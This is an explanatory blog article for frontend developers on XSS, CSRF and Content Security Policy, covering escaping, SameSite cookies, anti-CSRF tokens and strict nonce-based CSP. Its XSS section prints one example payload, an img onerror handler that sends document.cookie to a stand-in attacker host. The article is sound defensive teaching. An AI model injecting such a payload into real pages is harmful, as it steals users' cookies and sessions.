XSS, CSRF and CSP Explained for Frontend Devs
Two attacks and one defence: what XSS and CSRF actually do, why SameSite cookies and escaping matter, and how a Content Security Policy fits in.

XSS, CSRF and CSP get mentioned together so often that they blur into one "web security" topic. They're three different things: two attacks and one defence. XSS gets an attacker's script running inside your page. CSRF gets the user's browser to send a request the user never meant to send. CSP is a browser feature that limits which scripts can run at all.
Once you see what each one needs to work, the defences make sense, and so does the order you'd fix them in.
The short version
| XSS | CSRF | CSP | |
|---|---|---|---|
| What it is | An attack: the attacker's script runs in your page | An attack: the user's browser sends a forged request to your site | A defence: a policy telling the browser which sources may run |
| What the attacker needs | A way to get their code into your HTML or DOM | The user logged in to your site, and a request your site accepts on cookies alone | Not applicable |
| Main defences | Escape output, avoid unsafe sinks, sanitise HTML | Anti-CSRF tokens or Origin checks, plus SameSite cookies | Nonces or hashes, no unsafe-inline |
XSS: the attacker's script runs as your page
Cross-site scripting happens when data an attacker controls ends up in your page as code instead of text. The browser can't tell the difference: the script runs with your page's origin. It can read the page, make requests as the logged-in user and read any token your JavaScript can read.
The classic example is a comment box. A user submits:
<img src="x" onerror="fetch('https://attacker.example/?c=' + document.cookie)">
If your page later renders that comment with innerHTML, the image fails to load, the onerror handler runs, and any cookie without the HttpOnly flag goes to the attacker.
There are three common forms:
- Stored XSS: the payload is saved (a comment, a profile name) and runs for everyone who views it.
- Reflected XSS: the payload comes from the request, such as a search term in the URL, and is echoed straight back.
- DOM-based XSS: your own JavaScript moves untrusted data, such as
location.hash, into a dangerous place in the page, without the server being involved.
Defending against XSS
The core defence is to treat untrusted data as text, in the right context. The OWASP XSS Prevention Cheat Sheet covers the details. In frontend code it comes down to a few habits:
- Let your framework escape. React, Vue and Angular escape values you put in templates by default. The risky spots are where you opt out:
dangerouslySetInnerHTML,v-html, or reaching forinnerHTMLdirectly. - Use safe DOM APIs.
textContentsets text;innerHTMLparses HTML. Choose the first unless you really mean the second. - Sanitise HTML you must render. For user-written rich text, run it through a well-maintained sanitiser such as DOMPurify before inserting it. Don't write your own with regular expressions.
- Check URLs too. A user-supplied link can be
javascript:.... Allow onlyhttp:andhttps:(and maybemailto:) in links built from user input. - Limit the damage. Mark session cookies
HttpOnly, so scripts can't read them. It doesn't stop XSS, since the script can still make requests as the user, but it stops the session cookie from being stolen outright.
CSRF: the browser sends a request the user didn't mean
Cross-site request forgery works because browsers attach cookies to requests automatically. If your site decides who the user is from a session cookie alone, a request that carries that cookie looks legitimate, even when another site triggered it.
Imagine a bank whose transfer form posts to /transfer. An attacker's page contains a hidden form that posts to the same URL and submits itself when the page loads. If the victim is logged in to the bank, and the browser attaches the session cookie to that cross-site request, the transfer goes through.
Two details matter:
- The attacker never sees the response. The same-origin policy stops their page from reading it. CSRF is about causing an action, not stealing data.
- CORS doesn't prevent it. CORS controls whether a script on another origin can read a response. A plain form submission is sent without any CORS check, so the request still reaches your server.
Defending against CSRF
The OWASP CSRF Prevention Cheat Sheet recommends layers:
- Anti-CSRF tokens. The server puts a random, per-session token in the page, and every state-changing request must send it back in a form field or header. An attacker's page can't read your page, so it can't learn the token.
- Check where requests come from. The
Originheader, and theSec-Fetch-Siteheader where browsers send it, tell the server whether a request is cross-site. Reject cross-site requests to state-changing endpoints. - SameSite cookies, as an extra layer. OWASP calls SameSite useful defence in depth that doesn't replace a proper CSRF defence. The
SameSiteattribute tells the browser when to send a cookie on cross-site requests.Strictnever sends it cross-site.Laxsends it only on top-level navigations that use safe methods such as GET. Browsers differ in what they do when the attribute is missing, so set it explicitly. - Never change state on GET.
SameSite=Laxstill sends cookies on top-level GET navigations, so a GET that deletes or transfers something remains open to CSRF.
One more nuance: SameSite is about the site, roughly the registrable domain, not the exact origin. app.example.com and blog.example.com are the same site. A vulnerable subdomain can therefore still send same-site requests to your app.
What about tokens in an Authorization header?
If your app sends a bearer token in an Authorization header, and never relies on cookies, the browser doesn't attach it automatically, so classic CSRF doesn't apply. The trade-off is that your JavaScript has to read the token, usually from memory or localStorage, and so can an XSS payload. That's why "use localStorage tokens to avoid CSRF" is half an answer: you've swapped one risk for exposure to the other.
Why XSS comes first
XSS beats most CSRF defences. A script running on your origin can read the anti-CSRF token from the page, and its requests are same-site, so SameSite doesn't stop them. If an attacker can run script in your page, they don't need to forge requests from outside. They can make real ones from inside.
So when you prioritise, fix XSS first, then CSRF, and then add CSP as a safety net for the XSS you didn't catch.
CSP: a safety net, not a fix
A Content Security Policy is a response header that tells the browser which sources of scripts, styles, images and other resources the page may use. If an injected script isn't allowed by the policy, the browser refuses to run it.
Allowlists of domains turned out to be easy to get wrong. The approach recommended now is a strict CSP based on nonces or hashes:
Content-Security-Policy: script-src 'nonce-R4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'
- Each response gets a new random nonce, and only
<script>tags carrying that nonce run. An attacker who injects a script tag doesn't know the nonce. 'strict-dynamic'lets those trusted scripts load further scripts, so you don't need to list every CDN.object-src 'none'andbase-uri 'none'close two old bypasses: plugins and a rewritten base URL.- Leave out
'unsafe-inline'for scripts. It allows exactly the inline code an XSS payload uses.
A few practical points:
- Roll it out in report-only mode first.
Content-Security-Policy-Report-Onlyreports violations without blocking, so you can find what would break. - Inline event handlers break under a strict policy.
onclick="..."in HTML won't run, which is one more reason to attach handlers in JavaScript. frame-ancestorscontrols which sites may embed your page in a frame, the modern defence against clickjacking.
CSP doesn't replace escaping. It reduces the damage when escaping fails somewhere. And it does nothing against CSRF, because a forged request doesn't run any script on your page.
A short checklist for a frontend codebase
- Search for
innerHTML,dangerouslySetInnerHTML,v-html,document.writeandeval. Each one needs a reason, and sanitised input. - Check every place a user-supplied URL becomes an
hreforsrc. - Session cookies:
HttpOnly,Secure, and an explicitSameSitevalue. - State-changing endpoints: POST, PUT, PATCH or DELETE only, with a CSRF token or an Origin check.
- A CSP, even a report-only one, so you know what your pages load.
Practise explaining it
Knowing these definitions and explaining them clearly under pressure are different skills. A common prompt is "What's the difference between XSS and CSRF, and how would you defend against each?" A good answer covers what the attacker needs, why the browser cooperates, the main defence for each, and why fixing XSS comes first.
The Web Security questions in EditMyStuff's free Frontend Interview Prep cover XSS, CSRF, CSP, auth tokens and safe HTML rendering, each with a worked answer. If you want to practise saying answers like this out loud rather than only reading them, see how to practise explaining technical topics out loud. For the wider plan, the frontend interview roadmap puts security alongside the other areas.
Frequently asked questions
Does React prevent XSS?
It prevents the most common kind. React escapes values you render as text, so a comment containing a script tag shows up as text. You're still exposed when you opt out with dangerouslySetInnerHTML, put a user-controlled URL in an href, or touch the DOM directly with innerHTML.
Is SameSite enough to stop CSRF?
It's a strong layer, but OWASP recommends it alongside other defences, not on its own. Lax cookies are still sent on top-level GET navigations, subdomains count as the same site, and older browsers may not support it. Combine it with tokens or Origin checks for state-changing requests.
Does CORS protect against CSRF?
No. CORS decides whether a script on another origin can read a response. A cross-site form submission is still sent, cookies and all, without any CORS check. The forged action happens even though the attacker can't read the reply.
Does a Content Security Policy replace sanitising input?
No. CSP is defence in depth. It can stop an injected script from running, but only if the policy is strict and correctly deployed. Escaping and sanitising stop the injection in the first place.
Where should a single-page app store its auth token?
There's no option without trade-offs. An HttpOnly cookie can't be read by scripts, which helps against XSS, but it needs CSRF protection. A token kept in JavaScript isn't sent automatically, which avoids CSRF, but any XSS can read it. Whichever you choose, cover the other risk: CSRF protection for a cookie, and strong XSS defences (with a CSP) for a token in JavaScript.
Practise web security questions with worked answers: XSS, CSRF, CSP and more, free.
Free to start. AI features send only what they need to an AI provider, and the tool says when.
Plan the rest of your prep — read the guide.